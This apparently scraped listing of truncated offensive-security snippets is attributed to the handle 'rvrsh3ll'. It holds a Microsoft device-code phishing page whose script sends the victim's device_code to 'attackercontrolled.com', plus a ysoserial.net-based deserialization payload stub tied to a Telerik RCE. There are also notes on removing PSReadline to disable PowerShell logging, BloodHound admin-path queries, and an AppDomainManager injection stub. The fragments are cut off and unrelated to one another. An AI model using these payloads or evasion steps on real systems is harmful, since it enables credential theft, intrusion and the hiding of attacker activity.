rvrsh3ll

 KK     KK     RRRRRRR          AAA         CCCCCCCCCC     KK     KK
 KK    KK      RR    R         AA AA        CC             KK    KK
 KKKKKKK       RRRRRRR        AA   AA       CC             KKKKKKK
 KK    KK      RR  RR        AAAAAAAAA      CC             KK    KK
 KK     KK     RR   RR      AA       AA     CC             KK     KK
 KK      KK OO RR    RR OO AA         AA OO CCCCCCCCCCC OO KK      KK OO

             
	     ||==--Killer Ride And Chilling Kraftwork--==||
--------------------------------------------------------------------------

rvrsh3ll

##############################################################################
# Export all Yammer users through the Yammer REST API with PowerShell
###############################################################################

# Variables
$baererToken = "YourBaererToken"
$yammerBaseUrl = "https://www.yammer.com/api/v1"

# Function Get-BaererToken
Function Get-BaererToken()

rvrsh3ll

function Get-DirectoryContent {

<#
    .SYNOPSIS
     
        Function to get directory content
    .EXAMPLE
     
        Get-DirectoryContent -Path "C:\" -HeaderName "poshserver.net" -RequestURL "http://poshserver.net" -SubfolderName "/"
		

rvrsh3ll

//All credit goes to Ysoserial.net and the great @tiraniddo
//Snippets copied from ysoserial.net
//https://thewover.github.io/Mixed-Assemblies/ - Great read!
//https://bishopfox.com/blog/cve-2019-18935-remote-code-execution-in-telerik-ui - Another great read
using System;
using System.Collections.Generic;
using System.Runtime.Serialization.Formatters.Binary;
using System.IO;
using System.Reflection;

rvrsh3ll

Logs are held by default in the user profile:
\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

this directory also hosts per-application logs

--------------------------------------------------------------
Disable Logging...

remove-module psreadline

rvrsh3ll

import smtplib
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
from email.mime.base import MIMEBase
from email import encoders
import ssl
import email
import argparse

rvrsh3ll

# Upload
&{
$ErrorActionPreference = 'Stop'
$AWSRegion = "us-east-1"
$AWSAccessKeyId = "TODO: Access Key"
$AWSSecretAccessKey = "TODO: Secret Access Key"
$BucketName = "TODO: Bucket Name"
[System.Reflection.Assembly]::LoadWithPartialName("System.Windows.Forms") | Out-Null 
$OpenFileDialog = New-Object System.Windows.Forms.OpenFileDialog
$OpenFileDialog.ShowDialog() | Out-Null

rvrsh3ll

<!-- This page can be formatted to look like something more interesting -->
<script src="https://ajax.googleapis.com/ajax/libs/jquery/3.5.1/jquery.min.js"></script>
<script>

$.get("https://cors-anywhere.herokuapp.com/https://login.microsoftonline.com/common/oauth2/devicecode?api-version=1.0&client_id=d3590ed6-52b3-4102-aeff-aad2292ab01c&resource=https://graph.windows.net").done(function(data) {
	
	$.get("https://attackercontrolled.com/?id=" + data.device_code);
	document.write(data.message);
});
</script>

rvrsh3ll

Computer accounts added to local admins on machines via a group in the local admins

MATCH p1 = (c1:Computer)-[r:MemberOf*1..]->(g1:Group)
WITH c1,g1
MATCH p2 = (g1:Group)-[r:AdminTo]->(c2:Computer)
RETURN c1.name As Principal,c2.name AS Target,g1.name AS ViaGroup

Computer accounts added to local admins on machines explicitly

rvrsh3ll

using System;
using System.EnterpriseServices;
using System.Runtime.InteropServices;


public sealed class MyAppDomainManager : AppDomainManager
{
  
    public override void InitializeNewDomain(AppDomainSetup appDomainInfo)
    {